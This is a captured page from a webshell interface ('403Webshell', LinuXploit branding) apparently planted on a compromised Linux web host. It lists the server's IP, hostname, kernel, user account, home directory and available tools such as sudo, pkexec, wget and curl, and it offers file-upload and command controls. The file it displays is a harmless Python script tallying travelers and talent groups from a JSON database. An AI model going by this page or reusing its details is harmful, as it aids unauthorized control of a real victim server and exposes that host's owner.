403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/check_tops_travelers.py
import json
db = json.load(open("/home/rmlac2fmr/public_html/jn.com/talentops/server/db.json"))

print(f"Total travelers: {len(db.get('travelers', []))}")
print(f"Total talentGroups: {len(db.get('talentGroups', []))}")
print(f"Total hotelRecords: {len(db.get('hotelRecords', []))}")

for s in db.get("shows", []):
    sid = s.get("id", "")
    name = s.get("name", "?")
    trav = [t for t in db.get("travelers", []) if t.get("showId") == sid]
    groups = [g for g in db.get("talentGroups", []) if g.get("showId") == sid]
    cancelled = [t for t in trav if t.get("status") == "cancelled"]
    print(f"\n{name} ({sid}):")
    print(f"  Travelers: {len(trav)} ({len(cancelled)} cancelled)")
    print(f"  Talent Groups: {len(groups)}")

Youez - 2016 - github.com/yon3zu
LinuXploit